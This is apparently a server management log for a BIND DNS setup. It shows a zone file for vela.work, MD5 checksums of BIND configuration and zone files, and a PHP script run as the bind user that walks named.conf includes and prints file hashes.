----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt	646
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
vela.work.               		 IN    SOA      	vela.work. hostmaster.vela.work. ( 134697806 14400 3600 14400 3600 )
vela.work.               		 IN    NS       	ns1.hostz.org.
vela.work.               		 IN    NS       	ns2.hostz.org.
@                         60	 IN    A        	94.177.9.99
@                        		 IN    MX       	10 mail.emessage.email.
*                        		 IN    A        	46.102.156.201
_acme-challenge           60	 IN    TXT      	"y19cgg0WcynaXrBtOYyrf0pnM8F-0NzalxHMQlmQwaM"
www.vela.work.            60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 80c0d29080b52de68f9f3d9d4527e479
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= ab513385a3a5418b41ae2bbaab45d524
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:50:47: Establishing a connection
2026-03-14 11:50:47: Establishing a connection
2026-03-14 11:50:47: 

PUT: /tmp/pkp589256

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:50:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp589256; rm /tmp/pkp589256'

2026-03-14 11:50:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
